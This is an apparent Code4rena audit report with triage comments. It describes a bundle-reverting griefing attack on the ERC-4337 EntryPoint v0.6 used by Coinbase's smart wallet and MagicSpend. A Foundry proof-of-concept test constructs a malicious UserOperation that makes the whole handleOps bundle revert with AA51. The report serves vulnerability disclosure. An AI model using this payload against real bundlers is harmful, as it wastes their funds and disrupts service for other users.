Maliciously crafted UserOperation can revert entire bundle txs to grief protocol, expend bundler funds, and cause bundler or MagicSpend reputation

[c4-bot-3]

Lines of code

https://github.com/eth-infinitism/account-abstraction/blob/fa61290d37d079e928d92d53a122efcc63822214/contracts/core/EntryPoint.sol#L587 https://github.com/eth-infinitism/account-abstraction/blob/fa61290d37d079e928d92d53a122efcc63822214/contracts/core/EntryPoint.sol#L60-L82 https://github.com/eth-infinitism/account-abstraction/blob/fa61290d37d079e928d92d53a122efcc63822214/contracts/core/EntryPoint.sol#L108

Vulnerability details

Impact

By leveraging the IEntryPoint.FailedOp AA51 revert, a user can craft malicious calldata which reverts the entire bundle transaction of user operations provided to EntryPoint.handleOps(), effectively griefing protocol actors including other users, draining bundler fund balance, and cause bundler/paymaster reputation damage.

The first call of EntryPoint._handlePostOp() within EntryPoint.innerHandleOp() will trigger a second invocation of _handlePostOp() in the outer catch block which likewise reverts again with AA51 and bubbles the revert to the top level, reverting the entire bundle.

Proof of Concept

The following test file is designed for integration with the audit repository by being placed in a new "PoC" or other name dir within 2024-03-coinbase/test/SmartWallet/ and then run to observe the ability to deterministically grief attack by overloading insufficient prefund. This type of payload can be used to target a bundler and expend their balance:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {SignatureCheckerLib} from "solady/utils/SignatureCheckerLib.sol";
import {UserOperation, UserOperationLib} from "account-abstraction/interfaces/UserOperation.sol";
import {IStakeManager} from "account-abstraction/interfaces/IStakeManager.sol";
import {calldataKeccak} from "account-abstraction/core/Helpers.sol";
import {MockEntryPoint} from "../mocks/MockEntryPoint.sol";
import "test/MagicSpend/PaymasterMagicSpendBase.sol";
import "../CoinbaseSmartWallet/SmartWalletTestBase.sol";

contract PoC is Test {
    /// forge-config: default.fuzz.runs = 10_000_000

    uint256 msOwnerPrivateKey = 0xdeadbeef;
    address msOwner = vm.addr(msOwnerPrivateKey);
    MagicSpend magicSpend = new MagicSpend(msOwner);
    CoinbaseSmartWallet account = new MockCoinbaseSmartWallet();
    CoinbaseSmartWallet validUserAccount = new MockCoinbaseSmartWallet();
    IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789);

    // userop signature params
    uint256 signerPrivateKey = 0xa11ce;
    address signer = vm.addr(signerPrivateKey);
    uint256 validUserPrivateKey = 0xbeef;
    address validUser = vm.addr(validUserPrivateKey);
    address bundler = vm.addr(0xc0ffeebabe);

    // userop
    uint256 callGasLimit = 49152;
    uint256 verificationGasLimit = 378989;
    uint256 preVerificationGas = 273196043;
    uint256 maxFeePerGas = 1000304;
    uint256 maxPriorityFeePerGas = 1000000;

    // withdraw signature params
    address withdrawer = address(0xb0b);
    address asset = address(0x0);
    uint256 amount = 1 ether;
    uint256 maxCost = amount - 10;
    uint256 nonce = 0;
    uint48 expiry = uint48(block.timestamp + 1);

    // to be populated per test
    bytes initCode;
    bytes userOpCalldata;
    bytes paymasterAndData;
    bytes signerSig;
    bytes msOwnerSig;
    bytes[] owners;
    CoinbaseSmartWallet.Call[] calls;

    // baseline storage structs for convenience (update members as needed)
    UserOperation userOp = UserOperation({
        sender: address(account),
        nonce: nonce,
        initCode: initCode,
        callData: userOpCalldata,
        callGasLimit: callGasLimit,
        verificationGasLimit: verificationGasLimit,
        preVerificationGas: preVerificationGas,
        maxFeePerGas: maxFeePerGas,
        maxPriorityFeePerGas: maxPriorityFeePerGas,
        paymasterAndData: paymasterAndData,
        signature: signerSig // empty; must be populated per test
    });

    MagicSpend.WithdrawRequest withdrawRequest = MagicSpend.WithdrawRequest({
        asset: asset,
        amount: amount,
        nonce: nonce,
        expiry: expiry,
        signature: msOwnerSig // empty; must be populated per test
    });

    function setUp() public virtual {
        vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES);

        vm.deal(address(account), 1 ether);
        vm.deal(address(validUserAccount), 2 ether);
    }

    function test_bundleRevertsAA51(/*uint24 dummyIters*/) public {
        /// forge-config: default.fuzz.runs = 10_000

        _initializeSmartWallet(signer, account);
        _initializeSmartWallet(validUser, validUserAccount);

        // populate valid userOp fields
        (UserOperation memory validOp, ) = _getValidUserOpSigned('');
        // CoinbaseSmartWallet.SignatureWrapper memory x = abi.decode(validOp.signature, (CoinbaseSmartWallet.SignatureWrapper));

        // populate AA51 userOp fields
        UserOperation memory opAA51 = userOp;

        bytes memory dummyCalldata = abi.encodeWithSignature("entryPoint()");
        uint256 dummyIters = 272;
        for (uint256 i; i < dummyIters; ++i) {
            calls.push(CoinbaseSmartWallet.Call(address(account), 0, dummyCalldata));
        }

        // populate relevant opAA51 static vals
        opAA51.callData = abi.encodeWithSelector(account.executeBatch.selector, calls);        
        opAA51.callGasLimit = 280;
        opAA51.verificationGasLimit = 65878;
        opAA51.preVerificationGas = 1;

        // eliminate `missingAccountFunds`
        vm.prank(address(account));
        (bool success, ) = address(entryPoint).call{value: 1 ether}('');
        assert(success);

        // populate opAA51 signature
        bytes32 retOpAA51Hash = entryPoint.getUserOpHash(opAA51);
        (uint8 vSigner, bytes32 rSigner, bytes32 sSigner) = vm.sign(signerPrivateKey, retOpAA51Hash);
        signerSig = abi.encodePacked(rSigner, sSigner, vSigner);
        opAA51.signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, signerSig));

        UserOperation[] memory ops = new UserOperation[](2);
        ops[0] = validOp;
        ops[1] = opAA51;

        vm.prank(bundler);
        // expect revert of entire bundle caused by malicious aa51UserOp grief attack
        vm.expectRevert(abi.encodeWithSelector(IEntryPoint.FailedOp.selector, 1, "AA51 prefund below actualGasCost"));
        entryPoint.handleOps(ops, payable(bundler));

        console2.logString("entire bundle griefed");
    }

Tools Used

Manual review & fuzz testing to craft malicious calldata payload which overloads the calculated prefund value and triggers AA51.

Recommended Mitigation Steps

Upgrade protocol dependency on ERC4337::Entrypoint to v0.7, which addresses this griefing vector by introducing a new recognized INNER_REVERT_LOW_PREFUND = hex'deadaa51'; constant and uses it to emit an event rather than allow the entire bundle tx to revert and cause collateral damage to the protocol's ability to continue operation.

More reading on this matter:

https://blog.openzeppelin.com/erc-4337-account-abstraction-incremental-audit#insufficient-prefund

Onchain TX:

https://dashboard.tenderly.co/tx/polygon/0x73b7bf023e8c7b54a374e77bd62702eacce6877c118fef06dd5a6d4cd15954e9?trace=0.5.1

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as primary issue

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[raymondfam]

Detailed exploit with coded POC.

[wilsoncusack]

This is an EntryPoint bug / issue bundlers face, and I would consider out of scope cc @xenoliss

[xenoliss]

This is an Entrypoint related issue which I would also consider out of scope. Furthermore I think this is mitigated by the fact that Bundlers are expected to simulate the UserOps before including them in their mempool.

[c4-sponsor]

wilsoncusack (sponsor) disputed

[3docSec]

Known issue with fix in out-of-scope code -> out of scope as per SC recommendation.

[c4-judge]

3docSec marked the issue as unsatisfactory: Out of scope

[3docSec]

If I am not mistaken, bundlers can (should as it's a know issue with v0.6?) protect from these by running on-chain simulation of their bundles to ensure they don't lose funds